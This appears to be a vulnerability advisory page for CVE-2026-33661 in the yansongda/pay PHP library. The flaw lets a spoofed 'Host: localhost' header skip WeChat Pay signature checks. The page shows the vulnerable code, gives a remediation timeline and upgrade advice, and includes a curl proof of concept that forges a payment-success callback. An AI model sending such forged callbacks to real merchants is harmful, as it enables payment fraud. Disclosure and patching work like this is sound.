What is the CVSS score of CVE-2026-33661?

CVE-2026-33661 has a CVSS 3.1 base score of 8.6 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N. EPSS exploitation probability: 0.1%.

Which versions of PHP are affected by CVE-2026-33661?

A critical authentication bypass in the yansongda/pay library could allow attackers to forge payment notifications and process fraudulent transactions if applications rely on this library for WeChat…. A patch is available.

How to fix or mitigate CVE-2026-33661?

Within 24 hours: inventory all applications using yansongda/pay library and assess deployment architecture (reverse proxy, WAF, CDN configuration). Within 7 days: apply the available vendor patch to all affected systems and validate deployment in staging environment. Within 30 days: conduct transaction audit for the past 90 days to identify any suspicious payment callbacks, and implement enhanced logging on payment notification handlers.

PHP CVE-2026-33661

HIGH

Authentication Bypass by Spoofing (CWE-290)

2026-03-25 https://github.com/yansongda/pay

Nginx PHP Authentication Bypass

8.6

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.6 HIGH

AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Changed

Confidentiality

None

Integrity

High

Availability

None

Lifecycle Timeline

Analysis Generated

Mar 25, 2026 - 19:32 vuln.today

Patch released

Mar 25, 2026 - 19:32 nvd

Patch available

CVE Published

Mar 25, 2026 - 19:30 nvd

HIGH 8.6

DescriptionGitHub Advisory

Summary

The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.

This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.

Vulnerable Code

src/Functions.php lines 243-246:

php

function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
    // BYPASS: Returns without any signature check if Host header is localhost
    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
        return;  // No signature verified!
    }

    // ... openssl_verify() only reached when Host != localhost
    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
    $sign = $message->getHeaderLine('Wechatpay-Signature');
    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}

In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.

Proof of Concept

bash

curl -X POST https://merchant.example.com/payment/wechat/callback \
  -H "Host: localhost" \
  -H "Content-Type: application/json" \
  -H "Wechatpay-Serial: any" \
  -H "Wechatpay-Timestamp: 1234567890" \
  -H "Wechatpay-Nonce: abc" \
  -H "Wechatpay-Signature: AAAA" \
  -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'

verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.

Impact

Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
No authentication required: Pure network attack, zero privileges needed
Wide reach: Affects any application using yansongda/pay for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.

AnalysisAI

The yansongda/pay PHP library contains an authentication bypass vulnerability that allows attackers to forge WeChat Pay payment notifications by including a 'Host: localhost' header in HTTP requests. The verify_wechat_sign() function unconditionally skips RSA signature verification when it detects localhost as the hostname, enabling attackers to send fake payment success callbacks that applications may process as legitimate transactions. A proof-of-concept exploit exists demonstrating the attack, though the vendor notes most production environments with properly configured reverse proxies, WAFs, or CDNs will reject forged Host headers, significantly reducing real-world exploitability.

Technical ContextAI

This vulnerability affects the yansongda/pay Composer package (pkg:composer/yansongda_pay), a PHP library providing integration with WeChat Pay payment services. The flaw is rooted in CWE-290 (Authentication Bypass by Spoofing), where the verification logic in src/Functions.php trusts the attacker-controlled Host header from PSR-7 HTTP request objects. PSR-7 is a PHP standard for HTTP message interfaces, implemented by libraries like Nyholm and Guzzle, where the getUri()->getHost() method directly reads the Host header without validation. The vulnerable code path intended to skip verification during local development but failed to account for header spoofing in production environments, creating a logic flaw that completely bypasses the openssl_verify() RSA signature check that normally validates WeChat Pay's cryptographic signatures.

RemediationAI

Upgrade yansongda/pay to version 3.7.20 or later, which addresses the authentication bypass as documented in the release notes at https://github.com/yansongda/pay/releases/tag/v3.7.20. The fix commit is available at https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f for review. Until patching is possible, implement strict Host header validation at the reverse proxy or application layer to ensure the Host header matches expected domain names and reject requests with localhost or unexpected values. Configure Nginx, Apache, or other reverse proxies to normalize Host headers and drop requests with spoofed values. As an additional defense-in-depth measure, implement IP allowlisting for WeChat Pay callback endpoints to accept notifications only from documented WeChat Pay server IP ranges, and consider implementing additional webhook authentication mechanisms such as shared secrets or request signing at the application layer.